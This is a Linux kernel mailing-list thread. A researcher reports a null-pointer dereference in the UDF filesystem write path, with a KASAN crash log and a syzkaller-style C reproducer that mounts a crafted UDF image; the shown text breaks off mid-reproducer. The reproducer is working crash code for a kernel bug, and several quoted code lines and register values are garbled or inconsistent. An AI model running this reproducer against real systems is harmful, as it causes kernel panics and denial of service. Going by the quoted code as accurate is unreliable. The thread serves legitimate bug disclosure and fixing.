

* A null-ptr-deref bug be triggered when write to an ICB inode

@ 2022-01-13 10:57 butt3rflyh4ck

2022-01-14 17:23 ` Jan Kara

0 siblings, 1 reply; 3+ messages in thread

From: butt3rflyh4ck @ 2022-01-13 10:57 UTC ([permalink](#) / [raw](#))

To: jack; +Cc: LKML

[-- Attachment #1: Type: text/plain, Size: 6669 bytes --]

Hi, there is a null pointer dereference bug that would be triggered when writing something to an ICB inode, I reproduce in the latest kernel.

First mount a malicious udf image, secondly create a dir named `"/file0"`, then create a file named `"file1"` in the `file0` directory. Then write something to `"/file0/file1"`, then invoke `udf_file_write_iter` function.

the `udf_file_write_iter` code:

```
...
static ssize_t udf_file_write_iter(struct kiocb *iocb, struct iov_iter *from)
{
    ssize_t retval;
    struct file *file = iocb->ki_filp;
    struct inode *inode = file_inode(file);
    struct udf_inode_info *iinfo = UDF_I(inode);
    int err;
```

```
inode_lock(inode);
```

```
retval = generic_write_checks(iocb, from);
if (retval <= 0)
    goto out;
```

```
down_write(&iinfo->i_data_sem);
if (iinfo->i_alloc_type == ICBTAG_FLAG_AD_IN_ICB) {    ///[1]
    loff_t end = iocb->ki_pos + iov_iter_count(from);    ///[2] end =
    iocb->ki_pos + i->count = iocb->ki_pos + user_write_size
```

```
if (inode->i_sb->s_blocksize <
    (udf_file_entry_alloc_offset(inode) + end)) {    /// [3]
    err = udf_expand_file_adinich(inode);
```

```
....
```

```
}
...
```

[1] if the inode is ICBTAG_FLAG_AD_IN_ICB type, [2] then get a end, [3] compare blocksize and end, if blocksize is smaller then invoke `udf_expand_file_adinich` to modify inode.

Next, in the process of expanding the block, trigger the bug.

the crash log:

```
...
[ 82.827914][ T6441] loop0: detected capacity change from 0 to 5656
[ 82.830192][ T6441] UDF-fs: warning (device loop0): udf_load_vrs:
No anchor found
[ 82.831014][ T6441] UDF-fs: Scanning with blocksize 512 failed
[ 82.833515][ T6441] UDF-fs: INFO Mounting volume 'LinuxUDF',
timestamp 2020/09/19 18:44 (1000)
[ 82.835323][ T6441] general protection fault, probably for
non-canonical address 0xdffffc0000000015: 0000 [#1] PREEMPT SMP KASAN
[ 82.836556][ T6441] KASAN: null-ptr-deref in range
[0x00000000000000a8-0x00000000000000af]
[ 82.837437][ T6441] CPU: 0 PID: 6441 Comm: percpu_counter_ Not
tainted 5.16.0+ #34
[ 82.838242][ T6441] Hardware name: QEMU Standard PC (i440FX + PIIX,
1996), BIOS 1.13.0-lubuntu1 04/01/2014
[ 82.838885][ T26] audit: type=1800 audit(1642070781.843:2):
pid=6441 uid=0 auid=0 ses=1 subj==unconfined op=collect_data
cause=failed(directio) comm="percpu_count0
[ 82.843723][ T6441] RIP: 0010:percpu_counter_add_batch+0x3e/0x130
[ 82.843757][ T6441] Code: 53 48 63 da e8 73 44 b4 fd 4c 8d 7d 20 48
c7 c7 40 0d dd 88 e8 c3 63 94 04 4c 89 fa 48 b8 00 00 00 00 ff
df 48 c1 ea 03 <80> 3c 02 0d
[ 82.843760][ T6441] RSP: 0018:ffffc9000634f9e8 EFLAGS: 00010012
[ 82.843765][ T6441] RAX: dffffc0000000000 RBX: 0000000000000010
RCX: 1fffffffff1a443f8
[ 82.843768][ T6441] RDX: 0000000000000015 RSI: ffffffff88dd0d40
RDI: ffffffff88dac160
[ 82.843769][ T6441] RBP: 0000000000000088 R08: 0000000000000004
R09: fffff940000bb9b9
[ 82.843771][ T6441] R10: fffffea00005dcd7 R11: fffff940000bb9b8
R12: 0000000000000000
[ 82.843772][ T6441] R13: 0000000000000001 R14: 0000000000000001
R15: 00000000000000a8
[ 82.843776][ T6441] FS: 00000000014e5880 (0000)
GS:ffff88802d400000 (0000) knlGS:0000000000000000
[ 82.843780][ T6441] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 82.843785][ T6441] CR2: 0000000020000000 CR3: 00000000185a2000
CR4: 000000000000006f0
[ 82.843791][ T6441] Call Trace:
[ 82.843795][ T6441] <TASK>
[ 82.843799][ T6441] __folio_start_writeback+0x64f/0x7b0
```

```

[ 82.843805][ T6441] ? domain_dirty_limits+0x350/0x350
[ 82.843808][ T6441] ? udf_get_block+0x208/0x4d0
[ 82.843813][ T6441] ? errseq_set+0x7b/0xe0
[ 82.843817][ T6441] ? _block_write_full_page+0x9b0/0xdc0
[ 82.843822][ T6441] ? udf_block_map+0x250/0x250
[ 82.843824][ T6441] ? end_buffer_write_sync+0xb0/0xb0
[ 82.843827][ T6441] udf_expand_file adinib+0x3bc/0xcc0
[ 82.843830][ T6441] ? udf_update_inode+0x3370/0x3370
[ 82.843833][ T6441] udf_file_write_iter+0x298/0x440
[ 82.843835][ T6441] ? _raw_spin_lock+0x88/0x110
[ 82.843844][ T6441] new_sync_write+0x37f/0x620
[ 82.843848][ T6441] ? new_sync_read+0x610/0x610
[ 82.843850][ T6441] ? common_file_perm+0x196/0x5f0
[ 82.843855][ T6441] ? apparmor_path_rmdir+0x20/0x20
[ 82.843857][ T6441] ? kmem_cache_free+0x9a/0x490
[ 82.843860][ T6441] ? security_file_permission+0x49/0x570
[ 82.843864][ T6441] vfs_write+0x41d/0x7b0
[ 82.892153][ T6441] ksys_write+0xe8/0x1c0
[ 82.894156][ T6441] ? __ia32_sys_read+0xa0/0xa0
[ 82.895079][ T6441] do_syscall_64+0x35/0xb0
[ 82.895830][ T6441] entry_SYSCALL_64_after_hwframe+0x44/0xae
[ 82.896810][ T6441] RIP: 0033:0x44eafd
[ 82.897449][ T6441] Code: 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 f3
0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b
4c 24 08 0f 05 <48> 3d 01 f8
[ 82.900627][ T6441] RSP: 002b:00007ffec490a868 EFLAGS: 00000246
ORIG_RAX: 0000000000000001
[ 82.901996][ T6441] RAX: ffffffff88d0d0d4 RBX: 0000000000400530
RCX: 000000000044eafd
[ 82.903311][ T6441] RDX: 000000000000fdef RSI: 0000000020000080
RDI: 0000000000000004
[ 82.904625][ T6441] RBP: 00007ffec490a880 R08: 0000000000000000
R09: 0000000000000000
[ 82.905919][ T6441] R10: 0000000000000000 R11: 0000000000000246
R12: 0000000000403b00
[ 82.907212][ T6441] R13: 0000000000000000 R14: 00000000004c6018
R15: 0000000000000000
[ 82.908522][ T6441] </TASK>
[ 82.909026][ T6441] Modules linked in:
[ 82.909671][ T6441] ---[ end trace 99ae3d17814cae89 ]---
[ 82.910556][ T6441] RIP: 0010:percpu_counter_add_batch+0x3e/0x130
[ 82.911627][ T6441] Code: 53 48 63 da e8 73 44 b4 fd 4c 8d 7d 20 48
c7 c7 40 0d dd 88 e8 c3 63 94 04 4c 89 fa 48 b8 00 00 00 00 fc ff
df 48 c1 ea 03 <80> 3c 02 0d
[ 82.914533][ T6441] RSP: 0018:ffffc9000634f9e8 EFLAGS: 00010012
[ 82.915482][ T6441] RAX: dffffc0000000000 RBX: 0000000000000010
RCX: 1fffffffffa443f8
[ 82.916677][ T6441] RDX: 0000000000000015 RSI: ffffffff88d0d0d4
RDI: ffffffff88dac160
[ 82.917868][ T6441] RBP: 0000000000000088 R08: 0000000000000004
R09: fffff940000bb9b9
[ 82.919086][ T6441] R10: fffffea00005dcdc7 R11: fffff940000bb9b8
R12: 0000000000000000
[ 82.920262][ T6441] R13: 0000000000000001 R14: 0000000000000001
R15: 00000000000000a8
[ 82.921457][ T6441] FS: 00000000014e5880(0000)
GS:ffff88802d400000(0000) knlGS:0000000000000000
[ 82.922825][ T6441] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 82.923845][ T6441] CR2: 0000000020000000 CR3: 00000000185a2000
CR4: 000000000000006f0
[ 82.925080][ T6441] Kernel panic - not syncing: Fatal exception
[ 82.926163][ T6441] Kernel Offset: disabled
[ 82.926853][ T6441] Rebooting in 86400 seconds..

...

The attachment is a reproduce.

Regards,
butt3rflyh4ck.

--
Active Defense Lab of Venustech

[-- Attachment #2: crash --]
[-- Type: application/octet-stream, Size: 897912 bytes --]

^ permalink raw reply [flat|nested] 3+ messages in thread

* Re: A null-ptr-deref bug be triggered when write to an ICB inode
2022-01-13 10:57 A null-ptr-deref bug be triggered when write to an ICB inode butt3rflyh4ck
@ 2022-01-14 17:23 ` Jan Kara
2022-01-15 7:36 ` butt3rflyh4ck
0 siblings, 1 reply; 3+ messages in thread
From: Jan Kara @ 2022-01-14 17:23 UTC (permalink / raw)
To: butt3rflyh4ck; +Cc: jack, LKML

On Thu 13-01-22 18:57:28, butt3rflyh4ck wrote:
> Hi, there is a null pointer dereference bug that would be triggered
> when writing something to an ICB inode, I reproduce in the latest
> kernel.
>
> First mount a malicious udf image, secondly create a dir named
> "/file0", then create a file named "file1" in the file0 directory.
> Then write something to "/file0/file1", then invoke
> udf_file_write_iter function.

```

```

>
> the udf_file_write_iter code:
> ...
> static ssize_t udf_file_write_iter(struct kiocb *iocb, struct iov_iter *from)
> {
>     ssize_t retval;
>     struct file *file = iocb->ki_filp;
>     struct inode *inode = file_inode(file);
>     struct udf_inode_info *iinfo = UDF_I(inode);
>     int err;
>
>     inode_lock(inode);
>
>     retval = generic_write_checks(iocb, from);
>     if (retval <= 0)
>         goto out;
>
>     down_write(&iinfo->i_data.sem);
>     if (iinfo->i_alloc_type == ICBTAG_FLAG_AD_IN_ICB) {    //[1]
>         loff_t end = iocb->ki_pos + iov_iter_count(from);    //[2] end =
>         iocb->ki_pos + i->count = iocb->ki_pos + user_write_size
>
>     if (inode->i_sb->s_blocksize <
>         (udf_file_entry_alloc_offset(inode) + end)) {    //[3]
>         err = udf_expand_file_adinibc(inode);
>
>     ....
>     }
>     ...
> [1] if the inode is ICBTAG_FLAG_AD_IN_ICB type, [2] then get a end,
> [3] compare blocksize and end, if blocksize is smaller then invoke
> udf_expand_file_adinibc to modify inode.
> Next, in the process of expanding the block, trigger the bug.
>
> the crash log:
> ...
> [ 82.827914][ T6441] loop0: detected capacity change from 0 to 5656
> [ 82.830192][ T6441] UDF-fs: warning (device loop0): udf_load_vrs:
> No anchor found
> [ 82.831014][ T6441] UDF-fs: Scanning with blocksize 512 failed
> [ 82.833515][ T6441] UDF-fs: INFO Mounting volume 'LinuxUDF',
> timestamp 2020/09/19 18:44 (1000)
> [ 82.835323][ T6441] general protection fault, probably for
> non-canonical address 0xdffffc0000000015: 0000 [#1] PREEMPT SMP KASAN
> [ 82.836556][ T6441] KASAN: null-ptr-deref in range
> [0x00000000000000a8-0x00000000000000af]
> [ 82.837437][ T6441] CPU: 0 PID: 6441 Comm: percpu_counter_Not
> tainted 5.16.0+ #34
> [ 82.838242][ T6441] Hardware name: QEMU Standard PC (i440FX + PIIX,
> 1996), BIOS 1.13.0-lubuntu1 04/01/2014
> [ 82.838885][ T26] audit: type=1800 audit(1642070781.843:2):
> pid=6441 uid=0 auid=0 ses=1 subj=unconfined op=collect_data
> cause=failed(directio) comm="percpu_count0
> [ 82.843723][ T6441] RIP: 0010:percpu_counter_add_batch+0x3e/0x130
> [ 82.843757][ T6441] Code: 53 48 63 da e8 73 44 b4 fd 4c 8d 7d 20 48
> c7 c7 40 0d dd 88 e8 c3 63 94 04 4c 89 fa 48 b8 00 00 00 00 fc ff
> df 48 c1 ea 03 <80> 3c 02 0d
> [ 82.843760][ T6441] RSP: 0018:ffffc9000634f9e8 EFLAGS: 00010012
> [ 82.843765][ T6441] RAX: dffffc0000000000 RBX: 0000000000000010
> RCX: 1fffffffffa443f8
> [ 82.843768][ T6441] RDX: 0000000000000015 RSI: ffffffff88dd0d40
> RDI: ffffffff88dac160
> [ 82.843769][ T6441] RBP: 0000000000000088 R08: 0000000000000004
> R09: fffff9400000bb9b9
> [ 82.843771][ T6441] R10: fffffea00005dcdc7 R11: fffff9400000bb9b8
> R12: 0000000000000000
> [ 82.843772][ T6441] R13: 0000000000000001 R14: 0000000000000001
> R15: 00000000000000a8
> [ 82.843776][ T6441] FS: 00000000014e5880(0000)
> GS:ffff88802d400000(0000) knlGS:0000000000000000
> [ 82.843780][ T6441] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> [ 82.843785][ T6441] CR2: 0000000020000000 CR3: 00000000185a2000
> CR4: 000000000000006f0
> [ 82.843791][ T6441] Call Trace:
> [ 82.843795][ T6441] <TASK>
> [ 82.843799][ T6441] __folio_start_writeback+0x64f/0x7b0
> [ 82.843805][ T6441] ? domain_dirty_limits+0x350/0x350
> [ 82.843808][ T6441] ? udf_get_block+0x208/0x4d0
> [ 82.843813][ T6441] ? errseq_set+0x7b/0xe0
> [ 82.843817][ T6441] __block_write_full_page+0x9b0/0xdcd
> [ 82.843822][ T6441] ? udf_block_map+0x250/0x250
> [ 82.843824][ T6441] ? end_buffer_write_sync+0xb0/0xb0
> [ 82.843827][ T6441] udf_expand_file_adinibc+0x3bc/0xcc0
> [ 82.843830][ T6441] ? udf_update_inode+0x3370/0x3370
> [ 82.843833][ T6441] udf_file_write_iter+0x298/0x440
> [ 82.843835][ T6441] ? _raw_spin_lock+0x88/0x110
> [ 82.843844][ T6441] new_sync_write+0x37f/0x620
> [ 82.843848][ T6441] ? new_sync_read+0x610/0x610
> [ 82.843850][ T6441] ? common_file_perm+0x196/0x5f0
> [ 82.843855][ T6441] ? apparmor_path_rmdir+0x20/0x20
> [ 82.843857][ T6441] ? kmem_cache_free+0x9a/0x490
> [ 82.843860][ T6441] ? security_file_permission+0x49/0x570
> [ 82.843864][ T6441] vfs_write+0x41d/0x7b0
> [ 82.892153][ T6441] ksys_write+0xe8/0x1c0
> [ 82.894156][ T6441] ? __ia32_sys_read+0xa0/0xa0
> [ 82.895079][ T6441] do_syscall_64+0x35/0xb0
> [ 82.895830][ T6441] entry_SYSCALL_64_after_hwframe+0x44/0xae

```

```

> [ 82.896810][ T6441] RIP: 0033:0x44eafd
> [ 82.897449][ T6441] Code: 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 f3
> 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b
> 4c 24 08 0f 05 <48> 3d 01 f8
> [ 82.900627][ T6441] RSP: 002b:00007ffec490a868 EFLAGS: 00000246
> ORIG_RAX: 0000000000000001
> [ 82.901996][ T6441] RAX: ffffffffda RBX: 0000000000400530
> RCX: 000000000044eafd
> [ 82.903311][ T6441] RDX: 00000000000fdef RSI: 0000000020000080
> RDI: 0000000000000004
> [ 82.904625][ T6441] RBP: 00007ffec490a880 R08: 0000000000000000
> R09: 0000000000000000
> [ 82.905919][ T6441] R10: 0000000000000000 R11: 0000000000000246
> R12: 0000000000403b00
> [ 82.907212][ T6441] R13: 0000000000000000 R14: 00000000004c6018
> R15: 0000000000000000
> [ 82.908522][ T6441] </TASK>
> [ 82.909026][ T6441] Modules linked in:
> [ 82.909671][ T6441] ---[ end trace 99ae3d17814cae89 ]---
> [ 82.910556][ T6441] RIP: 0010:percpu_counter_add_batch+0x3e/0x130
> [ 82.911627][ T6441] Code: 53 48 63 da e8 73 44 b4 fd 4c 8d 7d 20 48
> c7 c7 40 0d dd 88 e8 c3 63 94 04 4c 89 fa 48 b8 00 00 00 00 fc ff
> df 48 c1 ea 03 <80> 3c 02 0d
> [ 82.914533][ T6441] RSP: 0018:ffffc9000634f9e8 EFLAGS: 00010012
> [ 82.915482][ T6441] RAX: dffffc0000000000 RBX: 0000000000000010
> RCX: 1fffffffffa443f8
> [ 82.916677][ T6441] RDX: 0000000000000015 RSI: ffffffff88dd0d40
> RDI: ffffffff88dac160
> [ 82.917868][ T6441] RBP: 0000000000000088 R08: 0000000000000004
> R09: fffff940000bb9b9
> [ 82.919086][ T6441] R10: ffffea00005dcdc7 R11: fffff940000bb9b8
> R12: 0000000000000000
> [ 82.920262][ T6441] R13: 0000000000000001 R14: 0000000000000001
> R15: 00000000000000a8
> [ 82.921457][ T6441] FS: 00000000014e5880 (0000)
> GS:ffff88802d400000(0000) knlGS:0000000000000000
> [ 82.922825][ T6441] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> [ 82.923845][ T6441] CR2: 0000000020000000 CR3: 00000000185a2000
> CR4: 000000000000006f0
> [ 82.925080][ T6441] Kernel panic - not syncing: Fatal exception
> [ 82.926163][ T6441] Kernel Offset: disabled
> [ 82.926853][ T6441] Rebooting in 86400 seconds..
>
> ``
> The attachment is a reproduce.

```

Thanks for report. Do you have a source code for the reproducer? Or the corrupted UDF image to share?

Honza

--
Jan Kara <jack@suse.com>
SUSE Labs, CR

[^ permalink raw reply](#) [flat|nested] 3+ messages in thread

* **Re: A null-ptr-deref bug be triggered when write to an ICB inode**

2022-01-14 17:23 ` Jan Kara

@ 2022-01-15 7:36 ` butt3rflyh4ck

0 siblings, 0 replies; 3+ messages in thread

From: butt3rflyh4ck @ 2022-01-15 7:36 UTC ([permalink](#) / [raw](#))

To: Jan Kara; +Cc: jack, LKML

[-- Attachment #1: Type: text/plain, Size: 7623 bytes --]

Here you go.

Regards,
butt3rflyh4ck.

On Sat, Jan 15, 2022 at 1:23 AM Jan Kara <jack@suse.cz> wrote:

```

>
> On Thu 13-01-22 18:57:28, butt3rflyh4ck wrote:
> > Hi, there is a null pointer dereference bug that would be triggered
> > when writing something to an ICB inode, I reproduce in the latest
> > kernel.
> >
> > First mount a malicious udf image, secondly create a dir named
> > "./file0", then create a file named "file1" in the file0 directory.
> > Then write something to "./file0/file1", then invoke
> > udf_file_write_iter function.
> >
> > the udf_file_write_iter code:
> > ...
> > static ssize_t udf_file_write_iter(struct kiocb *iocb, struct iov_iter *from)
> > {
> >     ssize_t retval;
> >     struct file *file = iocb->ki_filp;
> >     struct inode *inode = file_inode(file);
> >     struct udf_inode_info *iinfo = UDF_I(inode);
> >     int err;
> >
> >     inode_lock(inode);
> >
> >     retval = generic_write_checks(iocb, from);
> >     if (retval <= 0)

```

```

> > goto out;
>
> down_write(&iinfo->i_data_sem);
> if (iinfo->i_alloc_type == ICBTAG_FLAG_AD_IN_ICB) {    //[1]
> loff_t end = iocb->ki_pos + iov_iter_count(from);    //[2] end =
> iocb->ki_pos + i->count = iocb->ki_pos + user_write_size
>
> if (inode->i_sb->s_blocksize <
> (udf_file_entry_alloc_offset(inode) + end)) {    //[3]
> err = udf_expand_file_adinicb(inode);
>
> ....
> }
> ...
> [1] if the inode is ICBTAG_FLAG_AD_IN_ICB type, [2] then get a end,
> [3] compare blocksize and end, if blocksize is smaller then invoke
> udf_expand_file_adinicb to modify inode.
> Next, in the process of expanding the block, trigger the bug.
>
> the crash log:
> ...
> [ 82.827914][ T6441] loop0: detected capacity change from 0 to 5656
> [ 82.830192][ T6441] UDF-fs: warning (device loop0): udf_load_vrs:
> No anchor found
> [ 82.831014][ T6441] UDF-fs: Scanning with blocksize 512 failed
> [ 82.833515][ T6441] UDF-fs: INFO Mounting volume 'LinuxUDF',
> timestamp 2020/09/19 18:44 (1000)
> [ 82.835323][ T6441] general protection fault, probably for
> non-canonical address 0xdffffc0000000015: 0000 [#1] PREEMPT SMP KASAN
> [ 82.836556][ T6441] KASAN: null-ptr-deref in range
> [0x00000000000000a8-0x00000000000000af]
> [ 82.837437][ T6441] CPU: 0 PID: 6441 Comm: percpu_counter_ Not
> tainted 5.16.0+ #34
> [ 82.838242][ T6441] Hardware name: QEMU Standard PC (i440FX + PIIX,
> 1996), BIOS 1.13.0-lubuntu 04/01/2014
> [ 82.838885][ T26] audit: type=1800 audit(1642070781.843:2):
> pid=6441 uid=0 auid=0 ses=1 subj==unconfined op=collect_data
> cause=failed(directio) comm="percpu_count0
> [ 82.843723][ T6441] RIP: 0010:percpu_counter_add_batch+0x3e/0x130
> [ 82.843757][ T6441] Code: 53 48 63 da e8 73 44 b4 fd 4c 8d 7d 20 48
> c7 c7 40 0d dd 88 e8 c3 63 94 04 4c 89 fa 48 b8 00 00 00 00 fc ff
> df 48 c1 ea 03 <80> 3c 02 0d
> [ 82.843760][ T6441] RSP: 0018:ffffc9000634f9e8 EFLAGS: 00010012
> [ 82.843765][ T6441] RAX: dffffc0000000000 RBX: 0000000000000010
> RCX: 1fffffffffla443f8
> [ 82.843768][ T6441] RDX: 0000000000000015 RSI: ffffffff88dd0d40
> RDI: ffffffff88dac160
> [ 82.843769][ T6441] RBP: 0000000000000088 R08: 0000000000000004
> R09: fffff940000bb9b9
> [ 82.843771][ T6441] R10: fffffea00005dcdc7 R11: fffff940000bb9b8
> R12: 0000000000000000
> [ 82.843772][ T6441] R13: 0000000000000001 R14: 0000000000000001
> R15: 00000000000000a8
> [ 82.843776][ T6441] FS: 00000000014e5880(0000)
> GS:ffff88802d400000(0000) knlGS:0000000000000000
> [ 82.843780][ T6441] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> [ 82.843785][ T6441] CR2: 0000000020000000 CR3: 00000000185a2000
> CR4: 000000000000006f0
> [ 82.843791][ T6441] Call Trace:
> [ 82.843795][ T6441] <TASK>
> [ 82.843799][ T6441] __folio_start_writeback+0x64f/0x7b0
> [ 82.843805][ T6441] ? domain_dirty_limits+0x350/0x350
> [ 82.843808][ T6441] ? udf_get_block+0x208/0x4d0
> [ 82.843813][ T6441] ? errseq_set+0x7b/0xe0
> [ 82.843817][ T6441] ? block_write_full_page+0x9b0/0xdcd0
> [ 82.843822][ T6441] ? udf_block_map+0x250/0x250
> [ 82.843824][ T6441] ? end_buffer_write_sync+0xb0/0xb0
> [ 82.843827][ T6441] udf_expand_file_adinicb+0x3bc/0xcc0
> [ 82.843830][ T6441] ? udf_update_inode+0x3370/0x3370
> [ 82.843833][ T6441] udf_file_write_iter+0x298/0x440
> [ 82.843835][ T6441] ? raw_spin_lock+0x88/0x110
> [ 82.843844][ T6441] new_sync_write+0x37f/0x620
> [ 82.843848][ T6441] ? new_sync_read+0x610/0x610
> [ 82.843850][ T6441] ? common_file_perm+0x196/0x5f0
> [ 82.843855][ T6441] ? apparmor_path_rmdir+0x20/0x20
> [ 82.843857][ T6441] ? kmem_cache_free+0x9a/0x490
> [ 82.843860][ T6441] ? security_file_permission+0x49/0x570
> [ 82.843864][ T6441] vfs_write+0x41d/0x7b0
> [ 82.892153][ T6441] ksys_write+0xe8/0x1c0
> [ 82.894156][ T6441] ? __ia32_sys_read+0xa0/0xa0
> [ 82.895079][ T6441] do_syscall_64+0x35/0xb0
> [ 82.895830][ T6441] entry_SYSCALL_64_after_hwframe+0x44/0xae
> [ 82.896810][ T6441] RIP: 0033:0x44eafd
> [ 82.897449][ T6441] Code: 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 f3
> 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b
> 4c 24 08 0f 05 <48> 3d 01 f8
> [ 82.900627][ T6441] RSP: 002b:00007ffec490a868 EFLAGS: 00000246
> ORIG_RAX: 0000000000000001
> [ 82.901996][ T6441] RAX: ffffffff8ffffda RBX: 0000000000400530
> RCX: 0000000000044eafd
> [ 82.903311][ T6441] RDX: 000000000000fdef RSI: 0000000020000080
> RDI: 0000000000000004
> [ 82.904625][ T6441] RBP: 00007ffec490a880 R08: 0000000000000000
> R09: 0000000000000000
> [ 82.905919][ T6441] R10: 0000000000000000 R11: 0000000000000246
> R12: 00000000000403b00
> [ 82.907212][ T6441] R13: 0000000000000000 R14: 000000000004c6018

```



```

static int setup_loop_device(long unsigned size, long unsigned nsecs, struct fs_image_segment* segs, const char* loopname, int* memfd_p,
int* loopfd_p)
{
    int err = 0, loopfd = -1;
    size = fs_image_segment_check(size, nsecs, segs);
    int memfd = syscall(sys_memfd_create, "syzkaller", 0);
    if (memfd == -1) {
        err = errno;
        goto error;
    }
    if (ftruncate(memfd, size)) {
        err = errno;
        goto error_close_memfd;
    }
    for (size_t i = 0; i < nsecs; i++) {
        if (pwrite(memfd, segs[i].data, segs[i].size, segs[i].offset) < 0) {
        }
    }
    loopfd = open(loopname, O_RDWR);
    if (loopfd == -1) {
        err = errno;
        goto error_close_memfd;
    }
    if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
        if (errno != EBUSY) {
            err = errno;
            goto error_close_loop;
        }
        ioctl(loopfd, LOOP_CLR_FD, 0);
        usleep(1000);
        if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
            err = errno;
            goto error_close_loop;
        }
    }
    *memfd_p = memfd;
    *loopfd_p = loopfd;
    return 0;

error_close_loop:
    close(loopfd);
error_close_memfd:
    close(memfd);
error:
    errno = err;
    return -1;
}

static long syz_mount_image(volatile long fsarg, volatile long dir, volatile unsigned long size, volatile unsigned long nsecs, volatile long
segments, volatile long flags, volatile long optsarg)
{
    struct fs_image_segment* segs = (struct fs_image_segment*)segments;
    int res = -1, err = 0, loopfd = -1, memfd = -1, need_loop_device = !!segs;
    char* mount_opts = (char*)optsarg;
    char* target = (char*)dir;
    char* fs = (char*)fsarg;
    char* source = NULL;
    char loopname[64];
    if (need_loop_device) {
        memset(loopname, 0, sizeof(loopname));
        snprintf(loopname, sizeof(loopname), "/dev/loop%llu", procid);
        if (setup_loop_device(size, nsecs, segs, loopname, &memfd, &loopfd) == -1)
            return -1;
        source = loopname;
    }
    mkdir(target, 0777);
    char opts[256];
    memset(opts, 0, sizeof(opts));
    if (strlen(mount_opts) > (sizeof(opts) - 32)) {
    }
    strncpy(opts, mount_opts, sizeof(opts) - 32);
    if (strcmp(fs, "iso9660") == 0) {
        flags |= MS_RDONLY;
    } else if (strcmp(fs, "ext", 3) == 0) {
        if (strstr(opts, "errors=panic") || strstr(opts, "errors=remount-ro") == 0)
            strcat(opts, ",errors=continue");
    } else if (strcmp(fs, "xfs") == 0) {
        strcat(opts, ",nouuid");
    }
    res = mount(source, target, fs, flags, opts);
    if (res == -1) {
        err = errno;
        goto error_clear_loop;
    }
    res = open(target, O_RDONLY | O_DIRECTORY);
    if (res == -1) {
        err = errno;
    }
}

error_clear_loop:
    if (need_loop_device) {
        ioctl(loopfd, LOOP_CLR_FD, 0);
        close(loopfd);
        close(memfd);
    }
    errno = err;
    return res;
}

```

```
uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff};

int main(void)
{
    syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
    syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
    syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
    intptr_t res = 0;
    memcpy((void*)0x20000000, "udf\000", 4);
    memcpy((void*)0x20000100, "./file0\000", 8);
    *(uint64_t*)0x20000200 = 0x20010000;
    memcpy((void*)0x20010000, "\000BEA01", 6);
    *(uint64_t*)0x20000208 = 6;
    *(uint64_t*)0x20000210 = 0x8000;
    *(uint64_t*)0x20000218 = 0x20010100;
    memcpy((void*)0x20010100, "\000NSR03", 6);
    *(uint64_t*)0x20000220 = 6;
    *(uint64_t*)0x20000228 = 0x8800;
    *(uint64_t*)0x20000230 = 0x20010300;
    memcpy((void*)0x20010300,
"\x01\x00\x03\x00\x60\x00\x01\x00\x01\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x08\x4c\x69\x6e\x75\x78\x55\x44\x46\x00\x00\x97");
    *(uint64_t*)0x20000238 = 0x61;
    *(uint64_t*)0x20000240 = 0x18000;
    *(uint64_t*)0x20000248 = 0x20010400;
    memcpy((void*)0x20010400,
"\x00\x00\x00\x00\x00\x00\x00\x19\x00\x4f\x53\x54\x41\x20\x43\x6f\x6d\x70\x72\x65\x73\x73\x65\x64\x20\x55\x6e\x69\x63\x6f\x64\x65\x00\x00\x00\x22");
    *(uint64_t*)0x20000250 = 0xde;
    *(uint64_t*)0x20000258 = 0x180c0;
    *(uint64_t*)0x20000260 = 0x20010500;
    memcpy((void*)0x20010500, "\x00\x00\x00\x00\x00\x00\x01", 9);
    *(uint64_t*)0x20000268 = 9;
    *(uint64_t*)0x20000270 = 0x181e0;
    *(uint64_t*)0x20000278 = 0x20010600;
    memcpy((void*)0x20010600,
"\x06\x00\x03\x00\x25\x00\x01\x00\x22\xaf\xe8\x01\x61\x00\x00\x00\x02\x00\x00\x00\x00\x4f\x53\x54\x41\x20\x43\x6f\x6d\x70\x72\x65\x73\x73\x65\x93");
    *(uint64_t*)0x20000280 = 0x5d;
    *(uint64_t*)0x20000288 = 0x18400;
    *(uint64_t*)0x20000290 = 0x20010700;
    memcpy((void*)0x20010700,
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x00\x04\x00\x00\x00\x2a\x4f\x53\x54\x41\x20\x55\x44\x46\x20\x106");
    *(uint64_t*)0x20000298 = 0x6a;
    *(uint64_t*)0x200002a0 = 0x184c0;
    *(uint64_t*)0x200002a8 = 0x20010800;
    memcpy((void*)0x20010800,
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x80\x00\x00\x00\x02\x40\x00\x00\x00\x2a\x55\x44\x46\x20\x53\x78");
    *(uint64_t*)0x200002b0 = 0x4e;
    *(uint64_t*)0x200002b8 = 0x185a0;
    *(uint64_t*)0x200002c0 = 0x20010900;
    memcpy((void*)0x20010900,
"\x05\x00\x03\x00\x12\x00\x01\x00\xa7\x0f\xf0\x01\x62\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x00\x2b\x4e\x53\x52\x30\x33\x00\x00\x00\x00\x66");
    *(uint64_t*)0x200002c8 = 0x42;
    *(uint64_t*)0x200002d0 = 0x18800;
    *(uint64_t*)0x200002d8 = 0x20010a00;
    memcpy((void*)0x20010a00,
